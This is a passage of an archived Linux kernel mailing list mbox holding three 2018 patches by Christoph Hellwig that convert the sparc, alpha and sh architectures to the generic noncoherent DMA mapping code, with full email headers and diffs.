        p4gQYSc60NIfHwxW6n1Tvp/yRLYAK4sBhXaI0cYO1A24cgIIjqvfUyaHVAUOdjKk0MDtxLKY+1NMu
        hDZIeXE5vDpAvrL87sYg9BE9UE9yCcAtXzI8toD6/YtBJNGDOkCGSLcXVY0wah62XY/F3V2Cwe/wo
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R1z-0007qS-6j; Fri, 20 Apr 2018 08:04:32 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746079 gmane.linux.kernel.cross-arch:43567 gmane.linux.ports.alpha:4966 gmane.linux.kernel.arc:3809 gmane.linux.ports.arm.kernel:644800 gmane.linux.ports.hexagon:1652 gmane.linux.ports.parisc:28524 gmane.linux.ports.sh.devel:56875 gmane.linux.ports.sparc:27692
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746079>

Switch to the generic noncoherent direct mapping implementation.

This removes the previous sync_single_for_device implementation, which
looks bogus given that no syncing is happening in the similar but more
important map_single case.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sparc/Kconfig                   |   2 +
 arch/sparc/include/asm/dma-mapping.h |   5 +-
 arch/sparc/kernel/ioport.c           | 151 ++-------------------------
 3 files changed, 14 insertions(+), 144 deletions(-)

diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index c1cfc17eb504..5680eece3014 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -49,6 +49,8 @@ config SPARC
 
 config SPARC32
 	def_bool !64BIT
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select DMA_NONCOHERENT_OPS
 	select GENERIC_ATOMIC64
 	select CLZ_TAB
 	select HAVE_UID16
diff --git a/arch/sparc/include/asm/dma-mapping.h b/arch/sparc/include/asm/dma-mapping.h
index 12ae33daf52f..e17566376934 100644
--- a/arch/sparc/include/asm/dma-mapping.h
+++ b/arch/sparc/include/asm/dma-mapping.h
@@ -7,7 +7,6 @@
 #include <linux/dma-debug.h>
 
 extern const struct dma_map_ops *dma_ops;
-extern const struct dma_map_ops pci32_dma_ops;
 
 extern struct bus_type pci_bus_type;
 
@@ -15,11 +14,11 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 #ifdef CONFIG_SPARC_LEON
 	if (sparc_cpu_model == sparc_leon)
-		return &pci32_dma_ops;
+		return &dma_noncoherent_ops;
 #endif
 #if defined(CONFIG_SPARC32) && defined(CONFIG_PCI)
 	if (bus == &pci_bus_type)
-		return &pci32_dma_ops;
+		return &dma_noncoherent_ops;
 #endif
 	return dma_ops;
 }
diff --git a/arch/sparc/kernel/ioport.c b/arch/sparc/kernel/ioport.c
index 3bcef9ce74df..7954512c42e7 100644
--- a/arch/sparc/kernel/ioport.c
+++ b/arch/sparc/kernel/ioport.c
@@ -38,6 +38,7 @@
 #include <linux/proc_fs.h>
 #include <linux/seq_file.h>
 #include <linux/scatterlist.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/of_device.h>
 
 #include <asm/io.h>
@@ -434,9 +435,8 @@ arch_initcall(sparc_register_ioport);
 /* Allocate and map kernel buffer using consistent mode DMA for a device.
  * hwdev should be valid struct pci_dev pointer for PCI devices.
  */
-static void *pci32_alloc_coherent(struct device *dev, size_t len,
-				  dma_addr_t *pba, gfp_t gfp,
-				  unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t len, dma_addr_t *pba, gfp_t gfp,
+		unsigned long attrs)
 {
 	unsigned long len_total = PAGE_ALIGN(len);
 	void *va;
@@ -488,8 +488,8 @@ static void *pci32_alloc_coherent(struct device *dev, size_t len,
  * References to the memory and mappings associated with cpu_addr/dma_addr
  * past this call are illegal.
  */
-static void pci32_free_coherent(struct device *dev, size_t n, void *p,
-				dma_addr_t ba, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t n, void *p, dma_addr_t ba,
+		unsigned long attrs)
 {
 	struct resource *res;
 
@@ -519,146 +519,15 @@ static void pci32_free_coherent(struct device *dev, size_t n, void *p,
 	free_pages((unsigned long)phys_to_virt(ba), get_order(n));
 }
 
-/*
- * Same as pci_map_single, but with pages.
- */
-static dma_addr_t pci32_map_page(struct device *dev, struct page *page,
-				 unsigned long offset, size_t size,
-				 enum dma_data_direction dir,
-				 unsigned long attrs)
-{
-	/* IIep is write-through, not flushing. */
-	return page_to_phys(page) + offset;
-}
-
-static void pci32_unmap_page(struct device *dev, dma_addr_t ba, size_t size,
-			     enum dma_data_direction dir, unsigned long attrs)
-{
-	if (dir != PCI_DMA_TODEVICE && !(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		dma_make_coherent(ba, PAGE_ALIGN(size));
-}
-
-/* Map a set of buffers described by scatterlist in streaming
- * mode for DMA.  This is the scatter-gather version of the
- * above pci_map_single interface.  Here the scatter gather list
- * elements are each tagged with the appropriate dma address
- * and length.  They are obtained via sg_dma_{address,length}(SG).
- *
- * NOTE: An implementation may be able to use a smaller number of
- *       DMA address/length pairs than there are SG table elements.
- *       (for example via virtual mapping capabilities)
- *       The routine returns the number of addr/length pairs actually
- *       used, at most nents.
- *
- * Device ownership issues as mentioned above for pci_map_single are
- * the same here.
- */
-static int pci32_map_sg(struct device *device, struct scatterlist *sgl,
-			int nents, enum dma_data_direction dir,
-			unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int n;
-
-	/* IIep is write-through, not flushing. */
-	for_each_sg(sgl, sg, nents, n) {
-		sg->dma_address = sg_phys(sg);
-		sg->dma_length = sg->length;
-	}
-	return nents;
-}
-
-/* Unmap a set of streaming mode DMA translations.
- * Again, cpu read rules concerning calls here are the same as for
- * pci_unmap_single() above.
- */
-static void pci32_unmap_sg(struct device *dev, struct scatterlist *sgl,
-			   int nents, enum dma_data_direction dir,
-			   unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int n;
-
-	if (dir != PCI_DMA_TODEVICE && !(attrs & DMA_ATTR_SKIP_CPU_SYNC)) {
-		for_each_sg(sgl, sg, nents, n) {
-			dma_make_coherent(sg_phys(sg), PAGE_ALIGN(sg->length));
-		}
-	}
-}
+/* IIep is write-through, not flushing on cpu to device transfer. */
 
-/* Make physical memory consistent for a single
- * streaming mode DMA translation before or after a transfer.
- *
- * If you perform a pci_map_single() but wish to interrogate the
- * buffer using the cpu, yet do not wish to teardown the PCI dma
- * mapping, you must call this function before doing so.  At the
- * next point you give the PCI dma address back to the card, you
- * must first perform a pci_dma_sync_for_device, and then the
- * device again owns the buffer.
- */
-static void pci32_sync_single_for_cpu(struct device *dev, dma_addr_t ba,
-				      size_t size, enum dma_data_direction dir)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	if (dir != PCI_DMA_TODEVICE) {
-		dma_make_coherent(ba, PAGE_ALIGN(size));
-	}
-}
-
-static void pci32_sync_single_for_device(struct device *dev, dma_addr_t ba,
-					 size_t size, enum dma_data_direction dir)
-{
-	if (dir != PCI_DMA_TODEVICE) {
-		dma_make_coherent(ba, PAGE_ALIGN(size));
-	}
+	if (dir != PCI_DMA_TODEVICE)
+		dma_make_coherent(paddr, PAGE_ALIGN(size));
 }
 
-/* Make physical memory consistent for a set of streaming
- * mode DMA translations after a transfer.
- *
- * The same as pci_dma_sync_single_* but for a scatter-gather list,
- * same rules and usage.
- */
-static void pci32_sync_sg_for_cpu(struct device *dev, struct scatterlist *sgl,
-				  int nents, enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int n;
-
-	if (dir != PCI_DMA_TODEVICE) {
-		for_each_sg(sgl, sg, nents, n) {
-			dma_make_coherent(sg_phys(sg), PAGE_ALIGN(sg->length));
-		}
-	}
-}
-
-static void pci32_sync_sg_for_device(struct device *device, struct scatterlist *sgl,
-				     int nents, enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int n;
-
-	if (dir != PCI_DMA_TODEVICE) {
-		for_each_sg(sgl, sg, nents, n) {
-			dma_make_coherent(sg_phys(sg), PAGE_ALIGN(sg->length));
-		}
-	}
-}
-
-/* note: leon re-uses pci32_dma_ops */
-const struct dma_map_ops pci32_dma_ops = {
-	.alloc			= pci32_alloc_coherent,
-	.free			= pci32_free_coherent,
-	.map_page		= pci32_map_page,
-	.unmap_page		= pci32_unmap_page,
-	.map_sg			= pci32_map_sg,
-	.unmap_sg		= pci32_unmap_sg,
-	.sync_single_for_cpu	= pci32_sync_single_for_cpu,
-	.sync_single_for_device	= pci32_sync_single_for_device,
-	.sync_sg_for_cpu	= pci32_sync_sg_for_cpu,
-	.sync_sg_for_device	= pci32_sync_sg_for_device,
-};
-EXPORT_SYMBOL(pci32_dma_ops);
-
 const struct dma_map_ops *dma_ops = &sbus_dma_ops;
 EXPORT_SYMBOL(dma_ops);
 
-- 
2.17.0



From - Thu Nov 08 21:41:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: [PATCH 05/22] alpha: simplify get_arch_dma_ops
Date: Fri, 20 Apr 2018 10:02:56 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20180420080313.18796-6-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524211539 30342 195.159.176.226 (20 Apr 2018 08:05:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:05:39 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 Michal Simek <monstr@monstr.eu>, Vincent Chen <deanbo422@gmail.com>,
 linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
 linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
 nios2-dev@lists.rocketboards.org, linux-snps-arc@lists.infradead.org,
 linux-arm-kernel@lists.infradead.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Apr 20 10:05:33 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f9R2z-0007kl-61
	for gla-linux-snps-arc@m.gmane.org; Fri, 20 Apr 2018 10:05:33 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=9g1t8pOerj6EYIMIra1FrOHmmdJ/YY9wwCWcZ1p8ywU=; b=DS1/e10jORFNUIGLJAwAW+2cbj
	b/6x0tFJWK3kTidCHrWIaVwjY3dKJZSwRr9CCdAiGqawyg+UwVa1C8uZOJEsvHXqx3qOa8rBuLhSL
	yEp/bEDPxzVPGRgS5B5a1ey2HA07jrXJzTnlpzQ1RK7eA/FY6XtUGez+s5SKeV6HOK5mIwvC70Sax
	Ryip3K/4OkdNP8cloKkklE5MkoX/3g5U6bYhHbd0GSpUA/6O/6hOCXpFMyCdDUZduIlWoxhNQufTT
	gZewxeffqSH0W6B1EB/zTj7n2A5H4rTWigIv+59L/XyupLGEDK1O0x7wDeiRDmYYtQw2Dl057C5oI
	ZpCd48Yg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f9R53-0001mr-7C; Fri, 20 Apr 2018 08:07:41 +0000
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f9R12-0007LO-4S; Fri, 20 Apr 2018 08:03:32 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3810 gmane.linux.kernel.cross-arch:43568 gmane.linux.ports.parisc:28525 gmane.linux.ports.sh.devel:56876 gmane.linux.ports.hexagon:1653 gmane.linux.kernel:2746080 gmane.linux.ports.alpha:4967 gmane.linux.ports.sparc:27693 gmane.linux.ports.arm.kernel:644801
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3810>

Remove the dma_ops indirection.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/alpha/include/asm/dma-mapping.h | 4 ++--
 arch/alpha/kernel/pci_iommu.c        | 4 +---
 2 files changed, 3 insertions(+), 5 deletions(-)

diff --git a/arch/alpha/include/asm/dma-mapping.h b/arch/alpha/include/asm/dma-mapping.h
index 76ce923ecca1..8beeafd4f68e 100644
--- a/arch/alpha/include/asm/dma-mapping.h
+++ b/arch/alpha/include/asm/dma-mapping.h
@@ -2,14 +2,14 @@
 #ifndef _ALPHA_DMA_MAPPING_H
 #define _ALPHA_DMA_MAPPING_H
 
-extern const struct dma_map_ops *dma_ops;
+extern const struct dma_map_ops alpha_pci_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 #ifdef CONFIG_ALPHA_JENSEN
 	return &dma_direct_ops;
 #else
-	return dma_ops;
+	return &alpha_pci_ops;
 #endif
 }
 
diff --git a/arch/alpha/kernel/pci_iommu.c b/arch/alpha/kernel/pci_iommu.c
index 83b34b9188ea..6923b0d9c1e1 100644
--- a/arch/alpha/kernel/pci_iommu.c
+++ b/arch/alpha/kernel/pci_iommu.c
@@ -950,6 +950,4 @@ const struct dma_map_ops alpha_pci_ops = {
 	.mapping_error		= alpha_pci_mapping_error,
 	.dma_supported		= alpha_pci_supported,
 };
-
-const struct dma_map_ops *dma_ops = &alpha_pci_ops;
-EXPORT_SYMBOL(dma_ops);
+EXPORT_SYMBOL(alpha_pci_ops);
-- 
2.17.0

From - Thu Nov 08 21:41:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 19/22] sh: use generic dma_noncoherent_ops
Date: Fri, 20 Apr 2018 10:03:10 +0200
Lines: 247
Approved: news@gmane.org
Message-ID: <20180420080313.18796-20-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211539 30376 195.159.176.226 (20 Apr 2018 08:05:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:05:39 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:05:34 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9R2y-0007kN-Rg
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:05:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754454AbeDTIHl (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:07:41 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:40760 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754340AbeDTIEw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:52 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=4cJn875v4QjZFW4vkYM434BLdgxaltZJC0BR0Abo5x8=; b=BappHQOcPOjZuJHI38gG98VMA
        WkdWwVqfdqFPI74oGyp+qnraT/T/uLvzbC2cc30RhKQgItQy5Z/tLTb3L6PDD108hjSeVVOqlcas1
        x7hIHEbPLb8f+1W59zW0/yQdLE/ywm5IVJ6SNpZo6slZz8aeXed0o1eXmKapEL30dC0b8hWbFdBnt
        iIvIH1QXGUP5QOX7lg9ZaRfXWGyV7BUWYMI81MHGmU1fB2UtJI5ca58xb9lymyipxgccmZhGYXb1z
        /qR0NTYDQt9j82QJs0gQhuUvsp5bmwlS1hxTaj+hwXYVEqL+/gI4jy+AJVU0j1yhPhkgfNBY+ehsc
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R1q-0007nR-MO; Fri, 20 Apr 2018 08:04:23 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746081 gmane.linux.kernel.cross-arch:43569 gmane.linux.ports.alpha:4968 gmane.linux.kernel.arc:3811 gmane.linux.ports.arm.kernel:644802 gmane.linux.ports.hexagon:1654 gmane.linux.ports.parisc:28526 gmane.linux.ports.sh.devel:56877 gmane.linux.ports.sparc:27694
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746081>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sh/Kconfig                   |  3 +-
 arch/sh/include/asm/Kbuild        |  1 +
 arch/sh/include/asm/dma-mapping.h | 26 -----------
 arch/sh/kernel/Makefile           |  1 -
 arch/sh/kernel/dma-nommu.c        | 75 -------------------------------
 arch/sh/mm/consistent.c           | 24 +++++-----
 6 files changed, 13 insertions(+), 117 deletions(-)
 delete mode 100644 arch/sh/include/asm/dma-mapping.h
 delete mode 100644 arch/sh/kernel/dma-nommu.c

diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 23e7432302b0..23ed245407b1 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -50,7 +50,6 @@ config SUPERH
 	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_FUTEX_CMPXCHG if FUTEX
 	select HAVE_NMI
-	select NEED_DMA_MAP_STATE
 	select NEED_SG_DMA_LENGTH
 
 	help
@@ -163,6 +162,8 @@ config DMA_COHERENT
 
 config DMA_NONCOHERENT
 	def_bool !DMA_COHERENT
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	select DMA_NONCOHERENT_OPS
 
 config PGTABLE_LEVELS
 	default 3 if X2TLB
diff --git a/arch/sh/include/asm/Kbuild b/arch/sh/include/asm/Kbuild
index 1efcce74997b..50f7e878ea1b 100644
--- a/arch/sh/include/asm/Kbuild
+++ b/arch/sh/include/asm/Kbuild
@@ -1,6 +1,7 @@
 generic-y += current.h
 generic-y += delay.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += irq_regs.h
diff --git a/arch/sh/include/asm/dma-mapping.h b/arch/sh/include/asm/dma-mapping.h
deleted file mode 100644
index 1ebc6a4eb1c5..000000000000
--- a/arch/sh/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,26 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef __ASM_SH_DMA_MAPPING_H
-#define __ASM_SH_DMA_MAPPING_H
-
-extern const struct dma_map_ops nommu_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-#ifdef CONFIG_DMA_NONCOHERENT
-	return &nommu_dma_ops;
-#else
-	return &dma_direct_ops;
-#endif
-}
-
-extern void *dma_generic_alloc_coherent(struct device *dev, size_t size,
-					dma_addr_t *dma_addr, gfp_t flag,
-					unsigned long attrs);
-extern void dma_generic_free_coherent(struct device *dev, size_t size,
-				      void *vaddr, dma_addr_t dma_handle,
-				      unsigned long attrs);
-
-void sh_sync_dma_for_device(void *vaddr, size_t size,
-	    enum dma_data_direction dir);
-
-#endif /* __ASM_SH_DMA_MAPPING_H */
diff --git a/arch/sh/kernel/Makefile b/arch/sh/kernel/Makefile
index cb5f1bfb52de..985106e13614 100644
--- a/arch/sh/kernel/Makefile
+++ b/arch/sh/kernel/Makefile
@@ -45,7 +45,6 @@ obj-$(CONFIG_DUMP_CODE)		+= disassemble.o
 obj-$(CONFIG_HIBERNATION)	+= swsusp.o
 obj-$(CONFIG_DWARF_UNWINDER)	+= dwarf.o
 obj-$(CONFIG_PERF_EVENTS)	+= perf_event.o perf_callchain.o
-obj-$(CONFIG_DMA_NONCOHERENT)	+= dma-nommu.o
 obj-$(CONFIG_HAVE_HW_BREAKPOINT)		+= hw_breakpoint.o
 
 ccflags-y := -Werror
diff --git a/arch/sh/kernel/dma-nommu.c b/arch/sh/kernel/dma-nommu.c
deleted file mode 100644
index 442922a9f8c0..000000000000
--- a/arch/sh/kernel/dma-nommu.c
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * DMA mapping support for platforms lacking IOMMUs.
- *
- * Copyright (C) 2009  Paul Mundt
- *
- * This file is subject to the terms and conditions of the GNU General Public
- * License.  See the file "COPYING" in the main directory of this archive
- * for more details.
- */
-#include <linux/dma-mapping.h>
-#include <linux/io.h>
-#include <asm/cacheflush.h>
-
-static dma_addr_t nommu_map_page(struct device *dev, struct page *page,
-				 unsigned long offset, size_t size,
-				 enum dma_data_direction dir,
-				 unsigned long attrs)
-{
-	dma_addr_t addr = page_to_phys(page) + offset;
-
-	WARN_ON(size == 0);
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		sh_sync_dma_for_device(page_address(page) + offset, size, dir);
-
-	return addr;
-}
-
-static int nommu_map_sg(struct device *dev, struct scatterlist *sg,
-			int nents, enum dma_data_direction dir,
-			unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	WARN_ON(nents == 0 || sg[0].length == 0);
-
-	for_each_sg(sg, s, nents, i) {
-		BUG_ON(!sg_page(s));
-
-		if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-			sh_sync_dma_for_device(sg_virt(s), s->length, dir);
-
-		s->dma_address = sg_phys(s);
-		s->dma_length = s->length;
-	}
-
-	return nents;
-}
-
-static void nommu_sync_single_for_device(struct device *dev, dma_addr_t addr,
-			      size_t size, enum dma_data_direction dir)
-{
-	sh_sync_dma_for_device(phys_to_virt(addr), size, dir);
-}
-
-static void nommu_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-			  int nelems, enum dma_data_direction dir)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nelems, i)
-		sh_sync_dma_for_device(sg_virt(s), s->length, dir);
-}
-
-const struct dma_map_ops nommu_dma_ops = {
-	.alloc			= dma_generic_alloc_coherent,
-	.free			= dma_generic_free_coherent,
-	.map_page		= nommu_map_page,
-	.map_sg			= nommu_map_sg,
-	.sync_single_for_device	= nommu_sync_single_for_device,
-	.sync_sg_for_device	= nommu_sync_sg_for_device,
-};
-EXPORT_SYMBOL(nommu_dma_ops);
diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
index 516d481525e1..aaeeb74fdcc3 100644
--- a/arch/sh/mm/consistent.c
+++ b/arch/sh/mm/consistent.c
@@ -12,17 +12,15 @@
 #include <linux/mm.h>
 #include <linux/init.h>
 #include <linux/platform_device.h>
-#include <linux/dma-mapping.h>
-#include <linux/dma-debug.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/io.h>
 #include <linux/module.h>
 #include <linux/gfp.h>
 #include <asm/cacheflush.h>
 #include <asm/addrspace.h>
 
-void *dma_generic_alloc_coherent(struct device *dev, size_t size,
-				 dma_addr_t *dma_handle, gfp_t gfp,
-				 unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret, *ret_nocache;
 	int order = get_order(size);
@@ -37,7 +35,7 @@ void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 	 * Pages from the page allocator may have data present in
 	 * cache. So flush the cache before using uncached memory.
 	 */
-	sh_sync_dma_for_device(ret, size, DMA_BIDIRECTIONAL);
+	__flush_purge_region(sh_cacheop_vaddr(ret), size);
 
 	ret_nocache = (void __force *)ioremap_nocache(virt_to_phys(ret), size);
 	if (!ret_nocache) {
@@ -52,9 +50,8 @@ void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 	return ret_nocache;
 }
 
-void dma_generic_free_coherent(struct device *dev, size_t size,
-			       void *vaddr, dma_addr_t dma_handle,
-			       unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, unsigned long attrs)
 {
 	int order = get_order(size);
 	unsigned long pfn = dma_handle >> PAGE_SHIFT;
@@ -66,12 +63,12 @@ void dma_generic_free_coherent(struct device *dev, size_t size,
 	iounmap(vaddr);
 }
 
-void sh_sync_dma_for_device(void *vaddr, size_t size,
-		    enum dma_data_direction direction)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	void *addr = sh_cacheop_vaddr(vaddr);
+	void *addr = sh_cacheop_vaddr(phys_to_virt(paddr));
 
-	switch (direction) {
+	switch (dir) {
 	case DMA_FROM_DEVICE:		/* invalidate only */
 		__flush_invalidate_region(addr, size);
 		break;
@@ -85,7 +82,6 @@ void sh_sync_dma_for_device(void *vaddr, size_t size,
 		BUG();
 	}
 }
-EXPORT_SYMBOL(sh_sync_dma_for_device);
 
 static int __init memchunk_setup(char *str)
 {
-- 
2.17.0



From - Thu Nov 08 21:41:20 2018
